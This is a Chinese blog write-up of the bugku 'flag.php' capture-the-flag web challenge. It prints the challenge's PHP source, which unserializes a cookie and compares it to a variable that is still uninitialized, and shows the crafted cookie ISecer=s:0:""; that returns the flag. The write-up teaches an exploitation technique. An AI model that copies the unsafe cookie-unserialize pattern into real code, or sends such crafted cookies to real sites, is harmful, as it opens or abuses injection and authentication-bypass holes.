bugku-Web flag.php

版权声明:本文为博主原创文章,转载需注明出处。 https://blog.csdn.net/zz_Caleb/article/details/85029027

打开网页发现并没有什么,试了很多次没用。

其实题目中提示了hint,我们就传递一个hint=1试试,发现出现了代码:

 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
    show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{   
    echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
  <form method="POST" action="#">
    <p><input name="user" type="text" placeholder="Username"></p>
    <p><input name="password" type="password" placeholder="Password"></p>
    <p><input value="Login" type="button"/></p>
  </form>
</div>
</body>
</html>

<?php
}
$KEY='ISecer:www.isecer.com';
?> 

意思就是如果cookie的反序列化值等于$KEY,就给你flag。

不要看最下面的$KEY的值,因为上面根本没有对$KEY赋值,所以上面$KEY的值为空,我们就写个代码得到空值的序列化值,再传上去让他反序列化下就行了

<?php
$KEY="";
print(serialize($KEY));
?>

得到s:0:"";

于是传递cookie为ISecer=s:0:"";就拿到flag了。

猜你喜欢

转载自blog.csdn.net/zz_Caleb/article/details/85029027